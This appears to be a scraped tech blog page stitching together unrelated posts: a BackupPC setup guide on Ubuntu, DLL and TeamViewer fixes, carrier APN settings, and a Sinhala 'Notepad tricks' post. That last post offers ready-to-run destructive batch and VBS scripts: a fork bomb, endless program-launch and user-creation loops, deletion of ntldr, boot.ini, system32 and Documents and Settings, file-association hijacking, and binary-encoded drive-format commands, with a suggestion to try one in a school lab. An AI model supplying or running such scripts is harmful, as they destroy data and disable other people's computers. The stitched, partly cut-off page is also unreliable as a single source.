Click

Backup Server on an Ubuntu 12.04 with BackupPC

BackupPC is a backup solution that can be configured to back up remote Linux and Windows systems.

It can use a variety of different protocols and has a flexible scheduler to coordinate full and incremental backups.

BackupPC is a powerful, user-friendly way to automatically backup files from several servers to a central location. Backups are essential for any kind of production environment. Just as important is making sure that file restoration operations function correctly.
There are many backup tools available for Linux and Unix-like operating systems. Choose the solution that fits your needs the best. BackupPC is a great tool that should work well in many developers' environments.

BackupPC is available in Ubuntu's default repositories.
The software "pulls" the data from client machines,
so the actual program needs to be installed on the machine that will function as the backup server.


The files will be stored at:
/var/lib/backuppc/pc/ip_address_of_client/#_of_backup 
 

Open a terminal and enter the following commands:

sudo apt-get update
sudo apt-get install backuppc


During the installation, you will be asked what kind of mail server configuration is needed. We can select the "Local only" option, because we will not be configuring internet-aware mail:



On the next page, we can leave the Sytem mail name as "localhost":



Select "apache2" to configure Apache for use with BackupPC:


type "Enter" to continue with the installation.
Changing the Password

BackupPC uses a system user called "backuppc" to perform its tasks.

In addition, it configures an Apache user, also called "backuppc", with a randomly generated password, which was given briefly during installation. We can change this password to something more meaningful by typing:

sudo htpasswd /etc/backuppc/htpasswd backuppc

You will be asked to give and confirm a new password.

Configure SSH Access to Client Computers

There are a few different ways that servers and clients can communicate to authenticate and transfer data. In this guide, we will be using the rsync protocol over SSH.

To make this work, we'll need to create an SSH key pair for our system BackupPC user (called "backuppc", as mentioned above), and then transfer the key to the client machines.

First, log into the BackupPC user with the following command:

sudo su - backuppc

You will probably be presented with only a minimal prompt, represented by the dollar sign ($).

Generate an SSH key pair by typing:

ssh-keygen
You will be asked a number of questions. Just type "Enter" through all of the prompts to accept the default values.

Transferring the SSH Public Key

You now have a private and public key on your backup server. You need to transfer the public key to the root user on each client machine you wish to access.

You can do that by typing:

ssh-copy-id root@client_ip_address

Type "yes" to accept the new server's identity, and then enter the root password of the remote machine. The key should then be transferred.

Check that your key was transferred correctly by typing:

ssh root@client_ip_address

You should be able to log in without having to type a password.

Get back to the BackupPC server by typing:

exit

Back out of the "backuppc" account by typing "exit" again:

exit

Access the Web Interface

The rest of the guide will be configured through BackupPC's web interface.

Open a browser and navigate to:

backuppc_server_ip_address/backuppc

You will be prompted for a username and password. The username is "backuppc" and the password is what you set with the htpasswd command earlier.


Set Up Client Configuration
On the left-hand side, click on the "Edit Hosts" link.

  

Click "Save" at the top of the page.

Configure Transfer Settings
Click on the "Xfer" tab on the top of the page. Under "XferMethod", select "rsync". Under "RsyncShareName", select the path you would like to back up.

You can leave it at "/" to back up the entire computer. You can also click "Add" to add additional areas to back up if you choose not to target the entire computer.


If you are backing up the entire computer, you'll need to add an "excludes" rule.
In the "BackupFilesExclude" segment, type "*" to match all shares. Then insert the values "/proc" and "/sys" to exclude these directories from back up.



Configure Backup Schedule

The default backup schedule is:

    Full backup
        Every 7 days
        Keep only newest copy

    Incremental backup
        Every day
        Keep the six most recent backups

If you would like to change the interval, click on the "Schedule" tab on the top bar.


 Note: You will notice that full backups have a value of "6.97" in "FullPeriod", and likewise, incremental backups have a value of "0.97" in the "IncrPeriod" field. These are values corresponding to 7 and 1 day respectively, since it accounts for the time to complete the backup as well.

You can modify the number of backups that the system maintains. You can also specify times when no backup should be performed by setting up "blackouts" where no backup can begin.

In this guide, we will stick with the default values.

Remember to click "Save" if you make any changes.

Run a Manual Backup

To run your first full backup manually, select you client from the "Hosts" drop-down menu in the upper-left corner.

You will be taken to a client summary page. Click "Start Full Backup" under the "User Actions" section.

You will confirm the action on the next page.

Your backup should complete shortly, depending on the size of the droplets.

if you have problem in back up with windows pc
please configure smb in your ubuntu pc
if you want more help i will write it in here as i do

Mfc100u.dll errors

Mfc100u.dll errors are caused by situations that lead to the removal or corruption of the mfc100u DLL file,
 







an important part of the Visual C++ runtime library supplied by Microsoft.

There are several different ways that mfc100u.dll errors can show up on your computer.

Here are some of the more common ways that you might see mfc100u.dll errors:

Mfc100u.dll Not Found

This application failed to start because mfc100u.dll was not found. Re-installing the application may fix this problem.

Cannot find [PATH]\mfc100u.dll

The file mfc100u.dll is missing.

Cannot start [APPLICATION]. A required component is missing: mfc100u.dll. Please install [APPLICATION] again.


If you have 64bit Windows system, install
http://www.microsoft.com/download/en/confirmation.aspx?id=13523

If that does not fix the problem, install
http://www.microsoft.com/download/en/confirmation.aspx?id=8328

This should solve problem.



Installing TeamViewer on Ubuntu

Download the TeamViewer from their website through your web browser and you can install it via GUI.
or use the CLI.


Be the root Like the boss as firt.
sudo su

Get it here 

https://teamviewer.en.uptodown.com/ubuntu

Navigate to the directory
where it is downloaded
and Install the package.

dpkg -i teamviewer-10-0-36281-multi-ubu.deb

if there any problm during instalation

apt-get install -f 




How to browse winsodws computer files from ubutnu computer

Open Home folder (or any other folder, whatever)

Goto File-> Connect to Server

type your sister's IP with smb protocol e.g. smb://192.168.1.123/

Click Connect -> Enter Credentials.


Airtel APN and MMS


APN                              AirtelLive
MMS Center                http://mmsc/
MMS proxy address    10.200.18486
MMS proxy PORT      8080

HUTCH APN


APN  hutch3g

Notepad වැඩ ටිකක්.

Windows මෙහෙයුම් පද්දතියෙ තියන පහසු කමක් තමයි Notepad කියන්නෙ,හැමෝම දන්නව නොදන්න කෙනෙක් නැති තරම්.Notepad ගැන ඔයල මොනාද දන්නේ? ඇත්තටම කරන්න පුලුවන් Type කරන එක විතරමද? වෙන මොකුත්ම කරන්න බැරිද? අද අපි දෙන්න යන්නෙ Notepad එක බාවිත කරල කරන්න පුලුවන් වැඩ ටිකක්.
 අනුන්ට හානියක් කිරීමේ අරමුණින් මේවා කරන්න එපා.

01.පහල Code එකෙන් වෙන්නෙ ලියලා තියන වැඩ සටහන් නොනැවතී Open වෙන එකයි.මේකට ඔයලා තව කැමති ඒවා එකතු කරගන්න  පුලුවන්.Win Word,Paint,Notepad,Cmd,Explorer කියන ඇප්ලිකේශන් දිගින් දිගටම Open වෙන්න තමයි පහල කෝඩ් එක ලියල තියෙන්නෙ.අවසන් ප්රතිපලය පරිගනකයේ මතකයට මෙය දරා ගැනීමට නොහැකිව පරිගණකය හිර වීමක් තමයි සිද්ද වෙන්නෙ. Save කරන විට Save As ගිහින් Ghostlk.Bat කියල Save කරගන්න. Extension එක වෙන්නෙ .Bat
@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x 

02. මෙතනදී සිදුවන්නේත් දිගින් දිගටම පෝල්ඩයරන් නිර්මානය වීමයි. අවසන් ප්රතිපලය පරිගනකයේ මතකයට මෙය දරා ගැනීමට නොහැකිව පරිගණකය හිර වීමක් සිදු වෙනව. Save කරන විට Save As ගිහින් Ghostlk.Bat කියල Save කරගන්න. Extension එක වෙන්නෙ .Bat
@echo off
:x
md %random%
goto x

03. මෙහිදී User Accounts  දිගින් දිගටම නිර්මාණය කිරීමක් සිදුවෙනව .මෙහිදීත් සිදුවන්නෙ පරිගනකය සිර වීමක්. Save කරන විට Save As ගිහින් Ghostlk.Bat කියල Save කරගන්න. Extension එක වෙන්නෙ .Bat
@echo off
:x
net user %random% /add
goto x

04.මේ කෝඩ් එකෙන් සිදුවන්නෙ පරිගනකය Boot කරන්න ඕන File එක මකල දමන එක .එතකොට පරිගනකය බූට් කරන්න බැරි තත්වයට පත් වෙනවා. Ntldr කියන  File එක තමයි මේ කෝඩ් එකෙන් මැකිලා යන්නේ.File එක තමයි පරිගනකය Boot කරන්න ප්රදාන වශයෙන් බලපාන්නෙ. Save කරන විට Save As ගිහින් Ghostlk.Bat කියල Save කරගන්න. Extension එක වෙන්නෙ .Bat
attrib -S -R -H C:\ntldr
del ntldr

05.මේ කෝඩ් එක Cup Usage එක 100% දක්වා අනිසි ආකාරයෙන් ඉහල යවන්න හැකි වෙන්ව. Save කරන විට Save As ගිහින් Ghostlk.Bat කියල Save කරගන්න. Extension එක වෙන්නෙ .Bat
%0|%0 

06.මෙම කේතයෙන් සිදුවන්නෙ පරිගනකයෙ තිබෙන නොයෙක් ආකාරයෙ ගොනු වෙනත් ගොනු වර්ගයක් බවට පත් කරන එකයි.උදාහරනයක් ව්දිහට .Jpg කියන Format එක .Txt කියන Format එක බවට පත් වෙනව .පරිගනකයෙ තිබෙන සියලුම Jpg Files Txt File බවට පත් කරන එක මේ කෝඩ් එකෙන් කරන්නෙ. Extension කියන තැනට මාරු කරන්න ඕනේ File Format එක දාන්න. උදාහරණයක් ලෙස [Assoc .Txt=.Exe] Save කරන විට Save As ගිහින් Ghostlk.Bat කියල Save කරගන්න. Extension එක වෙන්නෙ .Bat
@echo off
assoc .txt=
Extension
assoc .exe=
Extension
assoc .jpeg=
Extension
assoc .png=
Extension
assoc .mpeg=
Extension

07. මේ කේතයෙන් සිදුවන්නෙ කී බෝඩ් එකෙ තියන ලයිට් දැල් වෙන එකයි.පහල කේතය නෝට්පෑඩ් එකට කොපි කරගෙන Save As ගිහින් Ghostlk.Vbs ආකාරයට Save කරගන්න.මතක තියාගන්න Extension එක .Vbs
msgbox"This is a Virus Created By Ghost Man,No harm will be Done to ur PC,,Use Task Manager to stop this "
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop


08.ඊලග කේතයෙන සිදුවෙන්නේ Cd,Dvd Rom එක දිගින් දිගටම Open Close වෙන එකයි .අපි බලමු ඒවගේ කේතයක් ලියන්නෙ කොහොමද කියල. පහල කේතය නෝට්පෑඩ් එකට කොපි කරගෙන Save As ගිහින් Ghostlk.Vbs ආකාරයට Save කරගන්න.
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

09.මේ කේතය හරියට ඇන්ටි වයිරස් ගාඩ් එකක් වගේ ක්රියාත්මක වෙනවා.ඒ කියන්නෙ Pen Drive එකේ ඔක්කොම ෆයිල් ෂෝට් කට් වීම, Folders,File පේන්නන්නේ නැතිවීම වගේ ගැටළුවලට අපිට ගොඩක් වෙලාවට මුහුණ පාන්න වෙනවා.ඒ වගේ වෙලාවට අපිට පුලුවන් Notepad එක හරහා මේ ගැටලුවට පිලිතුරක් ලබාගන්න.Save කරනකොට .Bat කියල Save කරන්න.(Ghostlk.Bat)
echo off
color 9f
cls
echo.
echo.
echo.
echo.
echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
echo ++ ++
echo ++ ++
echo ++ *** ShortCut Virus Remover *** ++
echo ++ ++
echo ++ ++
echo ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
echo.
echo.
echo Recommend only to use in Flash drives.
echo.
echo If this file is on your Desktop it will badly affect to your Desktop Icons !!!
echo.
echo.
echo.
echo.
echo Shortcut Virus Remover is going to repair your Flash drive..........
echo.
pause
cls
echo.
echo.
echo.
echo.
echo Cleaning process will take few seconds..........
echo Please wait..........
echo.
echo.
echo.
del *.lnk
del fypuas.exe
del fypuasx.exe
cls
echo.
echo.
echo Removing Shortcuts........... Complete.
echo.
echo.
echo.
echo Make visible your folder........... is in process..........
echo This process will take few minutes..........
echo.
echo Please wait..........
attrib /s /d -s -h -r *.*
cls
echo.
echo.
echo.
echo Shortcut Virus Remover finish its Job.........
echo.
echo Your Flash drive is OK now
echo.
echo.
echo.
echo Check your Flash drive for unknown files and folders.
echo If there is any, delete them.
echo.
echo.
echo.
echo.
echo.
echo.
echo Cleaning Process Complete.
echo.
echo.
echo Developed by Ghost Man.......
echo.
echo.
echo.
pause

10.පහලකෝඩ් එකෙන් වෙන්නෙ වින්ඩෝස් මෙහෙයුම් පද්දතියෙ තියන System 32 කියන ෆෝල්ඩර් එක ඉවත් කරන එක.කරල බලනව නම් School එකෙ Lab එකේ ඉන්න වෙලාවක අත්හදා බලන්න.Save කරනවිට Ghostlk.Bat කියල Save කරගන්න .
del c:\WINDOWS\system32\*.*/q

11.ඊලග කෝඩ් එක කිසියම් කාල පරාසයක් තුල පරිගනකය Shutdown වෙන ආකාරයේ කෝඩ් එකක්. S අකුර වෙනුවට R හෝ L අකුර දාන්න පුලුවන්. S - කියන්නෙ Shutdown, R - කියන්නේ Restart, L - කියන්නෙ Log Off. T30 කියන්නෙ කාලය,ඒකත් කැමති  ආකාරයකට වෙනස් කරගන්න පුලුවන්. Save කරනකොට Ghostlk.Exe
Shutdown -s -t 30 -c "Create By Ghost Man"

12.ඊලග කෝඩ් එකට පුලුවන් Hard Disk එක ෆෝමැට් කරලා දාන්න. මේ Code එකෙන් C: Drive එක ෆෝමැට් වෙනවා.Save කරනකොට Ghostlk.Exe කියල ෆයිල් නේම් එකට දෙන්න.
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000


13.මෙන්න මේකෙන් D: එක Save කරනකොට Ghostlk.Exe

01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000


14.මෙන්න මේකෙන් A: එක Save කරනකොට Ghostlk.Exe

01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000

15.පහල කෝඩ් එකෙන් Boot.Ini ගොනුව මැකෙනව.එතකොට පරිගනකය Boot වෙන්නෙ නැතිව යනවා.ඒ වගේම කෝඩ් එකක් මම කලින් දුන්නා. Save කරනකොට Ghostlk.Exe

01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001

16.මේ කෝඩ් එක කරන්නෙ My Document කියන ෆයිල් එක ඉවත් කරලා දාන එක. BAT File Extension ආකාරයට Save කරගන්න.ඒ කිව්වේ Ghostlk.BAT


rmdir C:\Documents and Settings \S\Q

What is SIP trunking

What is SIP trunking..  (Session Initiation Protocol trunking) SIP trunking is a service that a communication provider offers. it uses the S...